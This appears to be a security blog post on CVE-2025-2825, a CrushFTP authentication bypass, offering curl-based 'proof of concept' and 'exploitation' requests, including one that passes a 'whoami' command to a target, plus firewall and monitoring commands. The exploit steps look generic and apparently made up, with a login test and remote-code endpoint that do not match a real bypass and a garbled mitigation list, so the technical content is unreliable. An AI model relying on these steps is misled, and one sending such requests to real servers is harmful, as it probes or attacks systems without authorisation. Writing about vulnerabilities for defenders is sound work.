A high-severity vulnerability (CVE-2025-2825) has been discovered in CrushFTP, a widely used secure file transfer platform. With a CVSS score of 9.8, this flaw allows unauthenticated attackers to bypass authentication via crafted HTTP requests, potentially leading to remote code execution (RCE) or unauthorized access to sensitive data.
Reference Links:
You Should Know: How to Test & Mitigate CVE-2025-2825
1. Vulnerability Verification (Proof of Concept)
To check if a CrushFTP server is vulnerable, use the following curl command:
curl -X POST -H "Content-Type: application/json" -d '{"user":"admin","password":"invalid"}' http://target:8080/api/login --insecure
If the server returns a 200 OK or provides an authentication token without valid credentials, it is likely vulnerable.
2. Exploitation Steps (For Ethical Testing Only)
An attacker could craft a malicious HTTP request to bypass authentication:
curl -X GET "http://target:8080/WebInterface/function?command=whoami" --insecure
If the server executes the command, it confirms RCE capability.
3. Mitigation Steps
- Enable DMZ Mode (if supported) to isolate public-facing services.
2. Patch Immediately – Check for vendor updates.
3. Restrict Network Access using firewalls:
sudo iptables -A INPUT -p tcp --dport 8080 -s trusted_IP -j ACCEPT sudo iptables -A INPUT -p tcp --dport 8080 -j DROP
4. Monitor Logs for suspicious activity:
tail -f /var/log/crushftp/access.log | grep -i "POST /api/login"
What Undercode Say
This vulnerability highlights the risks of insufficient authentication mechanisms in enterprise file transfer solutions. Security teams should:
– Disable unnecessary API endpoints
– Enforce strict input validation
– Use Web Application Firewalls (WAF) to block malicious payloads
Expected Commands for Further Analysis:
- Check running CrushFTP processes:
ps aux | grep crushftp
- Inspect open ports:
netstat -tulnp | grep 8080
- Dump HTTP traffic for analysis:
tcpdump -i eth0 port 8080 -w crushftp_traffic.pcap
Prediction
Given the high CVSS score, CVE-2025-2825 will likely be exploited in the wild soon, particularly in attacks targeting government and financial sectors. Organizations using CrushFTP should patch immediately or implement strict network controls.
Expected Output:
A vulnerable CrushFTP server may return:
{"status":"success","token":"eyJhbGciOiJ..."}
While a patched server should reject unauthorized requests with:
{"status":"error","message":"Authentication failed"}
References:
Reported By: Saurabh B294b21aa – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
